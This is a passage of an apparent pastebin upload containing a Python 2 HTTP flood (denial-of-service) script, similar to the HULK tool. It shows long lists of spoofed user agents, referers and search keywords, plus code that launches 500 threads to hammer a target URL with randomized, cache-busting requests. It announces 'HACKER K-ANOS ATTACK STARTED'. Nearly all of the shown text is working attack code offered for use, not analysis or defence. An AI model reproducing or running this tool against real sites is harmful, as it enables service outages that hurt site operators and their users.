  258. headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; FunWebProducts; SV1)')
  259. headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Arcor 5.004; FunWebProducts; HbTools 4.7.5)')
  260. headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows 98; en)')
  261. headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Tablet PC 1.7)')
  262. headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Q312469)')
  263. headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 2.0.50727)')
  264. headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Maxthon; SV1; FDM)')
  265. headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC; de-DE; rv:1.0.2)')
  266. headers_useragents.append('Mozilla/5.0 (Windows; U; Win98; de-DE; rv:1.7.12)')
  267. headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:1.8.0.1)')
  268. headers_useragents.append('Mozilla/5.0 (compatible; Konqueror/3.4; Linux 2.6.14-kanotix-9; X11)')
  269. headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.0; de-DE; rv:1.7.10)')
  270. headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.0; de-DE; rv:1.7.12)')
  271. headers_useragents.append('Mozilla/5.0 (Windows; U; Win98; de; rv:1.8.0.1)')
  272. headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.0.1)')
  273. headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; de; rv:1.8.0.1)')
  274. headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.12)')
  275. headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.2)')
  276. headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.8.0.1)')
  277. headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; de-DE; rv:1.7.7)')
  278. headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.6)')
  279. headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; de; rv:1.8)')
  280. headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; de-DE; rv:1.7.8)')
  281. headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.10)')
  282. headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; es-ES; rv:1.7.10)')
  283. headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; pl; rv:1.8.0.1)')
  284. headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-us)')
  285. headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8)')
  286. headers_useragents.append('Mozilla/5.0 (Windows; U; Win 9x 4.90; de; rv:1.8.0.1)')
  287. headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; de-DE; rv:1.7.12)')
  288. headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; fr)')
  289. headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.0; de-DE; rv:1.7.8)')
  290. headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; fi; rv:1.8.0.1)')
  291. headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; de-AT; rv:1.4.1)')
  292. headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.1)')
  293. headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; es-ES; rv:1.8.0.1)')
  294. headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; fr-FR; rv:1.7.12)')
  295. headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.0; zh-TW; rv:1.8.0.1)')
  296. headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.5)')
  297. headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; de-AT; rv:1.7.3)')
  298. headers_useragents.append('Mozilla/5.0 (Windows; U; Win 9x 4.90; en-US; rv:1.7.12)')
  299. headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; fr; rv:1.7.12)')
  300. headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; sl; rv:1.8.0.1)')
  301. headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.8.0.1)')
  302. headers_useragents.append('Mozilla/5.0 (X11; Linux i686; rv:1.7.5)')
  303. headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.0; de-DE; rv:1.7.6)')
  304. headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.7.2)')
  305. headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; es-ES; rv:1.6)')
  306. headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.8.0.1)')
  307. headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:1.7.6)')
  308. headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8a3)')
  309. headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; de-DE; rv:1.7.10)')
  310. headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.8.0.1)')
  311. headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; de-AT; rv:1.7.12)')
  312. headers_useragents.append('Mozilla/5.0 (Windows; U; Win 9x 4.90; en-US; rv:1.7.5)')
  313. headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; pt-BR; rv:1.8.0.1)')
  314. headers_useragents.append('Mozilla/5.0 (compatible; Konqueror/3; Linux)')
  315. headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.7.8)')
  316. headers_useragents.append('Mozilla/5.0 (compatible; Konqueror/3.2; Linux)')
  317. headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; tg)')
  318. headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; de-DE; rv:1.8b4)')
  319. headers_useragents.append('all 287')
  320. headers_useragents.append('200 done')
  321.  
  322. return(headers_useragents)
  323.  
  324. # referers
  325. def referer_list():
  326. global headers_referers
  327. headers_referers.append('http://www.google.com/?q=')
  328. headers_referers.append('http://yandex.ru/yandsearch?text=%D1%%D2%?=g.sql()81%..')
  329. headers_referers.append('http://vk.com/profile.php?redirect=')
  330. headers_referers.append('http://www.usatoday.com/search/results?q=')
  331. headers_referers.append('http://engadget.search.aol.com/search?q=query?=query=..')
  332. headers_referers.append('https://www.google.ru/#hl=ru&newwindow=1?&saf..,or.r_gc.r_pw=?.r_cp.r_qf.,cf.osb&fp=fd2cf4e896a87c19&biw=1680&bih=882')
  333. headers_referers.append('https://www.google.ru/#hl=ru&newwindow=1&safe..,or.r_gc.r_pw.r_cp.r_qf.,cf.osb&fp=fd2cf4e896a87c19&biw=1680&bih=925')
  334. headers_referers.append('http://yandex.ru/yandsearch?text=')
  335. headers_referers.append('https://www.google.ru/#hl=ru&newwindow=1&safe..,iny+gay+q=pcsny+=;zdr+query?=poxy+pony&gs_l=hp.3.r?=.0i19.505.10687.0.10963.33.29.4.0.0.0.242.4512.0j26j3.29.0.clfh..0.0.dLyKYyh2BUc&pbx=1&bav=on.2,or.r_gc.r_pw.r_cp.r_qf.,cf.osb&fp?=?fd2cf4e896a87c19&biw=1389&bih=832')
  336. headers_referers.append('http://go.mail.ru/search?mail.ru=1&q=')
  337. headers_referers.append('http://nova.rambler.ru/search?=btnG?=%D0?2?%D0?2?%=D0..')
  338. headers_referers.append('http://ru.wikipedia.org/wiki/%D0%9C%D1%8D%D1%x80_%D0%..')
  339. headers_referers.append('http://ru.search.yahoo.com/search;_yzt=?=A7x9Q.bs67zf..')
  340. headers_referers.append('http://ru.search.yahoo.com/search;?_query?=l%t=?=?A7x..')
  341. headers_referers.append('http://go.mail.ru/search?gay.ru.query=1&q=?abc.r..')
  342. headers_referers.append('/#hl=en-US?&newwindow=1&safe=off&sclient=psy=?-ab&query=%D0%BA%D0%B0%Dq=?0%BA+%D1%83%()_D0%B1%D0%B=8%D1%82%D1%8C+%D1%81bvc?&=query&%D0%BB%D0%BE%D0%BD%D0%B0q+=%D1%80%D1%83%D0%B6%D1%8C%D0%B5+%D0%BA%D0%B0%D0%BA%D0%B0%D1%88%D0%BA%D0%B0+%D0%BC%D0%BE%D0%BA%D0%B0%D1%81%D0%B8%D0%BD%D1%8B+%D1%87%D0%BB%D0%B5%D0%BD&oq=q=%D0%BA%D0%B0%D0%BA+%D1%83%D0%B1%D0%B8%D1%82%D1%8C+%D1%81%D0%BB%D0%BE%D0%BD%D0%B0+%D1%80%D1%83%D0%B6%D1%8C%D0%B5+%D0%BA%D0%B0%D0%BA%D0%B0%D1%88%D0%BA%D0%B0+%D0%BC%D0%BE%D0%BA%D1%DO%D2%D0%B0%D1%81%D0%B8%D0%BD%D1%8B+?%D1%87%D0%BB%D0%B5%D0%BD&gs_l=hp.3...192787.206313.12.206542.48.46.2.0.0.0.190.7355.0j43.45.0.clfh..0.0.ytz2PqzhMAc&pbx=1&bav=on.2,or.r_gc.r_pw.r_cp.r_qf.,cf.osb&fp=fd2cf4e896a87c19&biw=1680&bih=?882')
  343. headers_referers.append('http://nova.rambler.ru/search?btnG=%D0%9D%?D0%B0%D0%B..')
  344. headers_referers.append('http://www.google.ru/url?sa=t&rct=?j&q=&e..')
  345. headers_referers.append('http://help.baidu.com/searchResult?keywords=')
  346. #bing
  347. headers_referers.append('http://www.bing.com/search?q=')
  348. headers_referers.append('https://www.yandex.com/yandsearch?text=')
  349. headers_referers.append('https://duckduckgo.com/?q=')
  350. headers_referers.append('http://www.ask.com/web?q=')
  351. headers_referers.append('http://search.aol.com/aol/search?q=')
  352. headers_referers.append('https://www.om.nl/vaste-onderdelen/zoeken/?zoeken_term=')
  353. headers_referers.append('https://drive.google.com/viewerng/viewer?url=')
  354. headers_referers.append('http://validator.w3.org/feed/check.cgi?url=')
  355. headers_referers.append('http://host-tracker.com/check_page/?furl=')
  356. headers_referers.append('http://www.online-translator.com/url/translation.aspx?direction=er&sourceURL=')
  357. headers_referers.append('http://jigsaw.w3.org/css-validator/validator?uri=')
  358. headers_referers.append('https://add.my.yahoo.com/rss?url=')
  359. headers_referers.append('http://www.google.com/?q=')
  360. headers_referers.append('http://www.google.com/?q=')
  361. headers_referers.append('http://www.google.com/?q=')
  362. headers_referers.append('http://www.usatoday.com/search/results?q=')
  363. headers_referers.append('http://engadget.search.aol.com/search?q=')
  364. headers_referers.append('https://steamcommunity.com/market/search?q=')
  365. headers_referers.append('http://filehippo.com/search?q=')
  366. headers_referers.append('http://www.topsiteminecraft.com/site/pinterest.com/search?q=')
  367. headers_referers.append('http://eu.battle.net/wow/en/search?q=')
  368. headers_referers.append('http://engadget.search.aol.com/search?q=')
  369. headers_referers.append('http://careers.gatesfoundation.org/search?q=')
  370. headers_referers.append('http://techtv.mit.edu/search?q=')
  371. headers_referers.append('http://www.ustream.tv/search?q=')
  372. headers_referers.append('http://www.ted.com/search?q=')
  373. headers_referers.append('http://funnymama.com/search?q=')
  374. headers_referers.append('http://itch.io/search?q=')
  375. headers_referers.append('http://jobs.rbs.com/jobs/search?q=')
  376. headers_referers.append('http://taginfo.openstreetmap.org/search?q=')
  377. headers_referers.append('http://www.baoxaydung.com.vn/news/vn/search&q=')
  378. headers_referers.append('https://play.google.com/store/search?q=')
  379. headers_referers.append('http://www.tceq.texas.gov/@@tceq-search?q=')
  380. headers_referers.append('http://www.reddit.com/search?q=')
  381. headers_referers.append('http://www.bestbuytheater.com/events/search?q=')
  382. headers_referers.append('https://careers.carolinashealthcare.org/search?q=')
  383. headers_referers.append('http://jobs.leidos.com/search?q=')
  384. headers_referers.append('http://jobs.bloomberg.com/search?q=')
  385. headers_referers.append('https://www.pinterest.com/search/?q=')
  386. headers_referers.append('http://millercenter.org/search?q=')
  387. headers_referers.append('https://www.npmjs.com/search?q=')
  388. headers_referers.append('http://www.evidence.nhs.uk/search?q=')
  389. headers_referers.append('http://www.shodanhq.com/search?q=')
  390. headers_referers.append('http://ytmnd.com/search?q=')
  391. headers_referers.append('http://www.google.com/?q=')
  392. headers_referers.append('http://www.google.com/?q=')
  393. headers_referers.append('http://www.google.com/?q=')
  394. headers_referers.append('http://www.usatoday.com/search/results?q=')
  395. headers_referers.append('http://engadget.search.aol.com/search?q=')
  396. headers_referers.append('https://steamcommunity.com/market/search?q=')
  397. headers_referers.append('http://filehippo.com/search?q=')
  398. headers_referers.append('http://www.topsiteminecraft.com/site/pinterest.com/search?q=')
  399. headers_referers.append('http://eu.battle.net/wow/en/search?q=')
  400. headers_referers.append('http://engadget.search.aol.com/search?q=')
  401. headers_referers.append('http://careers.gatesfoundation.org/search?q=')
  402. headers_referers.append('http://techtv.mit.edu/search?q=')
  403. headers_referers.append('http://www.ustream.tv/search?q=')
  404. headers_referers.append('http://www.ted.com/search?q=')
  405. headers_referers.append('http://funnymama.com/search?q=')
  406. headers_referers.append('http://itch.io/search?q=')
  407. headers_referers.append('http://jobs.rbs.com/jobs/search?q=')
  408. headers_referers.append('http://taginfo.openstreetmap.org/search?q=')
  409. headers_referers.append('http://www.baoxaydung.com.vn/news/vn/search&q=')
  410. headers_referers.append('https://play.google.com/store/search?q=')
  411. headers_referers.append('http://www.tceq.texas.gov/@@tceq-search?q=')
  412. headers_referers.append('http://www.reddit.com/search?q=')
  413. headers_referers.append('http://www.bestbuytheater.com/events/search?q=')
  414. headers_referers.append('https://careers.carolinashealthcare.org/search?q=')
  415. headers_referers.append('http://jobs.leidos.com/search?q=')
  416. headers_referers.append('http://jobs.bloomberg.com/search?q=')
  417. headers_referers.append('https://www.pinterest.com/search/?q=')
  418. headers_referers.append('http://millercenter.org/search?q=')
  419. headers_referers.append('https://www.npmjs.com/search?q=')
  420. headers_referers.append('http://www.evidence.nhs.uk/search?q=')
  421. headers_referers.append('http://www.shodanhq.com/search?q=')
  422. headers_referers.append('http://ytmnd.com/search?q=')
  423. headers_referers.append('http://www.google.com/?q=')
  424. headers_referers.append('http://www.google.com/?q=')
  425. headers_referers.append('http://www.google.com/?q=')
  426. headers_referers.append('http://www.usatoday.com/search/results?q=')
  427. headers_referers.append('http://engadget.search.aol.com/search?q=')
  428. headers_referers.append('https://steamcommunity.com/market/search?q=')
  429. headers_referers.append('http://filehippo.com/search?q=')
  430. headers_referers.append('http://www.topsiteminecraft.com/site/pinterest.com/search?q=')
  431. headers_referers.append('http://eu.battle.net/wow/en/search?q=')
  432. headers_referers.append('http://engadget.search.aol.com/search?q=')
  433. headers_referers.append('http://careers.gatesfoundation.org/search?q=')
  434. headers_referers.append('http://techtv.mit.edu/search?q=')
  435. headers_referers.append('http://www.ustream.tv/search?q=')
  436. headers_referers.append('http://www.ted.com/search?q=')
  437. headers_referers.append('http://funnymama.com/search?q=')
  438. headers_referers.append('http://itch.io/search?q=')
  439. headers_referers.append('http://jobs.rbs.com/jobs/search?q=')
  440. headers_referers.append('http://taginfo.openstreetmap.org/search?q=')
  441. headers_referers.append('http://www.baoxaydung.com.vn/news/vn/search&q=')
  442. headers_referers.append('https://play.google.com/store/search?q=')
  443. headers_referers.append('http://www.tceq.texas.gov/@@tceq-search?q=')
  444. headers_referers.append('http://www.reddit.com/search?q=')
  445. headers_referers.append('http://www.bestbuytheater.com/events/search?q=')
  446. headers_referers.append('https://careers.carolinashealthcare.org/search?q=')
  447. headers_referers.append('http://jobs.leidos.com/search?q=')
  448. headers_referers.append('http://jobs.bloomberg.com/search?q=')
  449. headers_referers.append('https://www.pinterest.com/search/?q=')
  450. headers_referers.append('http://millercenter.org/search?q=')
  451. headers_referers.append('https://www.npmjs.com/search?q=')
  452. headers_referers.append('http://www.evidence.nhs.uk/search?q=')
  453. headers_referers.append('http://www.shodanhq.com/search?q=')
  454. headers_referers.append('http://ytmnd.com/search?q=')
  455. headers_referers.append('http://www.google.com/?q=')
  456. headers_referers.append('http://www.google.com/?q=')
  457. headers_referers.append('http://www.google.com/?q=')
  458. headers_referers.append('http://www.usatoday.com/search/results?q=')
  459. headers_referers.append('http://engadget.search.aol.com/search?q=')
  460. headers_referers.append('https://steamcommunity.com/market/search?q=')
  461. headers_referers.append('http://filehippo.com/search?q=')
  462. headers_referers.append('http://www.topsiteminecraft.com/site/pinterest.com/search?q=')
  463. headers_referers.append('http://eu.battle.net/wow/en/search?q=')
  464. headers_referers.append('http://engadget.search.aol.com/search?q=')
  465. headers_referers.append('http://careers.gatesfoundation.org/search?q=')
  466. headers_referers.append('http://techtv.mit.edu/search?q=')
  467. headers_referers.append('http://www.ustream.tv/search?q=')
  468. headers_referers.append('http://www.ted.com/search?q=')
  469. headers_referers.append('http://funnymama.com/search?q=')
  470. headers_referers.append('http://itch.io/search?q=')
  471. headers_referers.append('http://jobs.rbs.com/jobs/search?q=')
  472. headers_referers.append('http://taginfo.openstreetmap.org/search?q=')
  473. headers_referers.append('http://www.baoxaydung.com.vn/news/vn/search&q=')
  474. headers_referers.append('https://play.google.com/store/search?q=')
  475. headers_referers.append('http://www.tceq.texas.gov/@@tceq-search?q=')
  476. headers_referers.append('http://www.reddit.com/search?q=')
  477. headers_referers.append('http://www.bestbuytheater.com/events/search?q=')
  478. headers_referers.append('https://careers.carolinashealthcare.org/search?q=')
  479. headers_referers.append('http://jobs.leidos.com/search?q=')
  480. headers_referers.append('http://jobs.bloomberg.com/search?q=')
  481. headers_referers.append('https://www.pinterest.com/search/?q=')
  482. headers_referers.append('http://millercenter.org/search?q=')
  483. headers_referers.append('https://www.npmjs.com/search?q=')
  484. headers_referers.append('http://www.evidence.nhs.uk/search?q=')
  485. headers_referers.append('http://www.shodanhq.com/search?q=')
  486. headers_referers.append('http://ytmnd.com/search?q=')
  487. return(headers_referers)
  488.  
  489. # keyword 150
  490. def keyword_list():
  491. global keyword_top
  492. keyword_top.append('sex')
  493. keyword_top.append('Robin Williams')
  494. keyword_top.append('World Cup')
  495. keyword_top.append('ca si le roi')
  496. keyword_top.append('Ebola?')
  497. keyword_top.append('Malaysia Airlines Flight 370')
  498. keyword_top.append('ALS Ice Bucket Challenge')
  499. keyword_top.append('Flappy Bird')
  500. keyword_top.append('Conchita Wurst')
  501. keyword_top.append('ISIS')
  502. keyword_top.append('Frozen')
  503. keyword_top.append('014 Sochi Winter Olympics')
  504. keyword_top.append('iPhone')
  505. keyword_top.append('Samsung Galaxy S5')
  506. keyword_top.append('Nexus 6')
  507. keyword_top.append('Moto G')
  508. keyword_top.append('Samsung Note 4')
  509. keyword_top.append('LG G3')
  510. keyword_top.append('Xbox One')
  511. keyword_top.append('Apple Watch')
  512. keyword_top.append('Nokia X')
  513. keyword_top.append('Ipad Air')
  514. keyword_top.append('facebook')
  515. keyword_top.append('IPhone')
  516. keyword_top.append('Star War')
  517. keyword_top.append('Windows 10')
  518. keyword_top.append('Zens Phone')
  519. keyword_top.append('Son Tung M-TP')
  520. keyword_top.append('Viurs')
  521. keyword_top.append('RIP Face')
  522. keyword_top.append('tao quan')
  523. keyword_top.append('gia xang')
  524. keyword_top.append('Roll Royce')
  525. keyword_top.append('Hai VL')
  526. keyword_top.append('Be Trang ss')
  527. keyword_top.append('FIFA')
  528. keyword_top.append('Bill Gate')
  529. keyword_top.append('UFO')
  530. keyword_top.append('Microsoft')
  531. keyword_top.append('Mark Zuckerberg')
  532. keyword_top.append('youtube')
  533. keyword_top.append('facebook')
  534. keyword_top.append('download')
  535. keyword_top.append('movies')
  536. keyword_top.append('google')
  537. keyword_top.append('streaming')
  538. keyword_top.append('hotmail')
  539. keyword_top.append('facebook login')
  540. keyword_top.append('internet')
  541. keyword_top.append('yahoo')
  542. keyword_top.append('madasfish')
  543. keyword_top.append('antivirus software')
  544. keyword_top.append('ebay')
  545. keyword_top.append('yahoo mail')
  546. keyword_top.append('craigslist')
  547. keyword_top.append('aot')
  548. keyword_top.append('paid to promote')
  549. keyword_top.append('dvd movies online')
  550. keyword_top.append('gmail')
  551. keyword_top.append('games')
  552. keyword_top.append('fb')
  553. keyword_top.append('internetreal')
  554. keyword_top.append('shopping')
  555. keyword_top.append('proxy dozer')
  556. keyword_top.append('amazon')
  557. keyword_top.append('jobs')
  558. keyword_top.append('video')
  559. keyword_top.append('promote')
  560. keyword_top.append('new')
  561. keyword_top.append('twitter')
  562. keyword_top.append('minecraft')
  563. keyword_top.append('paid to')
  564. keyword_top.append('free')
  565. keyword_top.append('earn cpcs')
  566. keyword_top.append('earn chi')
  567. keyword_top.append('netflix')
  568. keyword_top.append('videos')
  569. keyword_top.append('net')
  570. keyword_top.append('pulse')
  571. keyword_top.append('posted by')
  572. keyword_top.append('date you')
  573. keyword_top.append('news')
  574. keyword_top.append('this date')
  575. keyword_top.append('msn')
  576. keyword_top.append('facebook yahoo')
  577. keyword_top.append('dating')
  578. keyword_top.append('birthday gifts')
  579. keyword_top.append('cars')
  580. keyword_top.append('best100tattoos')
  581. keyword_top.append('walmart')
  582. keyword_top.append('lkckclckli1i')
  583. keyword_top.append('sports')
  584. keyword_top.append('software')
  585. keyword_top.append('music')
  586. keyword_top.append('the')
  587. keyword_top.append('email marketing')
  588. keyword_top.append('broadband')
  589. keyword_top.append('online')
  590. keyword_top.append('insurance')
  591. keyword_top.append('movie')
  592. keyword_top.append('tramadol')
  593. keyword_top.append('weight loss')
  594. keyword_top.append('chat')
  595. keyword_top.append('home')
  596. keyword_top.append('yahoo google')
  597. keyword_top.append('car insurance')
  598. keyword_top.append('face')
  599. keyword_top.append('spyware')
  600. keyword_top.append('you tube')
  601. keyword_top.append('free tv shows')
  602. keyword_top.append('downloads')
  603. keyword_top.append('google maps')
  604. keyword_top.append('websbiggest')
  605. keyword_top.append('macromedia flash player free download')
  606. keyword_top.append('m nova')
  607. keyword_top.append('facebook friends')
  608. keyword_top.append('phentermine')
  609. keyword_top.append('weather')
  610. keyword_top.append('watch online')
  611. keyword_top.append('medical insurance')
  612. keyword_top.append('dating websites')
  613. keyword_top.append('in')
  614. keyword_top.append('movies online')
  615. keyword_top.append('friv')
  616. keyword_top.append('search')
  617. keyword_top.append('alo')
  618. keyword_top.append('houses for rent by owner')
  619. keyword_top.append('of')
  620. keyword_top.append('internet marketing')
  621. keyword_top.append('blogging make money')
  622. keyword_top.append('make money blogging')
  623. keyword_top.append('game')
  624. keyword_top.append('movie2k')
  625. keyword_top.append('walmart stores')
  626. keyword_top.append('credit card')
  627. keyword_top.append('instagram')
  628. keyword_top.append('internet marketing advertising')
  629. keyword_top.append('biz')
  630. keyword_top.append('travel')
  631. keyword_top.append('to')
  632. keyword_top.append('dating website')
  633. keyword_top.append('windows')
  634. keyword_top.append('quick weight loss diet')
  635. keyword_top.append('omegle')
  636. keyword_top.append('comment')
  637. keyword_top.append('tips lose weight')
  638. keyword_top.append('account')
  639. keyword_top.append('health')
  640. keyword_top.append('business')
  641. keyword_top.append('free photography stock')
  642. keyword_top.append('110')
  643. keyword_top.append('all 150')
  644.  
  645. return(keyword_top)
  646.  
  647. #builds random ascii string
  648. def buildblock(size):
  649. out_str = ''
  650. for i in range(0, size):
  651. a = random.randint(65, 90)
  652. out_str += chr(a)
  653. return(out_str)
  654.  
  655. #http request
  656. def httpcall(url):
  657. useragent_list()
  658. referer_list()
  659. keyword_list()
  660. code=0
  661. if url.count("?")>0:
  662. param_joiner = "&"
  663. else:
  664. param_joiner = "?"
  665. request = urllib2.Request(url + param_joiner + buildblock(random.randint(3,10)) + '=' + buildblock(random.randint(3,10)))
  666. request.add_header('User-Agent', random.choice(headers_useragents))
  667. request.add_header('Cache-Control', 'no-cache')
  668. request.add_header('Accept-Charset', 'ISO-8859-1,utf-8;q=0.7,*;q=0.7')
  669. request.add_header('Referer', random.choice(headers_referers)+random.choice(keyword_top))
  670. request.add_header('Keep-Alive', random.randint(110,120))
  671. request.add_header('Connection', 'keep-alive')
  672. request.add_header('Host',host)
  673. try:
  674. urllib2.urlopen(request)
  675. if(flag==1): set_flag(0)
  676. if(code==500): code=0
  677. except urllib2.HTTPError, e:
  678. #print e.code
  679. set_flag(1)
  680. print 'Response Code 500'
  681. code=500
  682. print "Start : %s" % time.ctime()
  683. time.sleep(30)
  684. print "End : %s" % time.ctime()
  685. except urllib2.URLError, e:
  686. #print e.reason
  687. sys.exit()
  688. else:
  689. inc_counter()
  690. urllib2.urlopen(request)
  691. return(code)
  692.  
  693. #http caller thread
  694. class HTTPThread(threading.Thread):
  695. def run(self):
  696. try:
  697. while flag<2:
  698. code=httpcall(url)
  699. if (code==500) & (safe==1):
  700. set_flag(2)
  701. except Exception, ex:
  702. pass
  703.  
  704. # monitors http threads and counts requests
  705. class MonitorThread(threading.Thread):
  706. def run(self):
  707. previous=request_counter
  708. while flag==0:
  709. if (previous+100<request_counter) & (previous<>request_counter):
  710. print "%d yeu cau gui di" % (request_counter)
  711. previous=request_counter
  712. if flag==2:
  713. print "\n Tam dung"
  714.  
  715. #execute
  716. if len(sys.argv) < 2:
  717. usage()
  718. sys.exit()
  719. else:
  720. if sys.argv[1]=="help":
  721. usage()
  722. sys.exit()
  723. else:
  724. print "-- HACKER K-ANOS ATTACK STARTED --"
  725. if len(sys.argv)== 3:
  726. if sys.argv[2]=="safe":
  727. set_safe()
  728. url = sys.argv[1]
  729. if url.count("/")==2:
  730. url = url + "/"
  731. m = re.search('http\://([^/]*)/?.*', url)
  732. host = m.group(1)
  733. for i in range(500):
  734. t = HTTPThread()
  735. t.start()
  736. t = MonitorThread()
  737. t.start()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement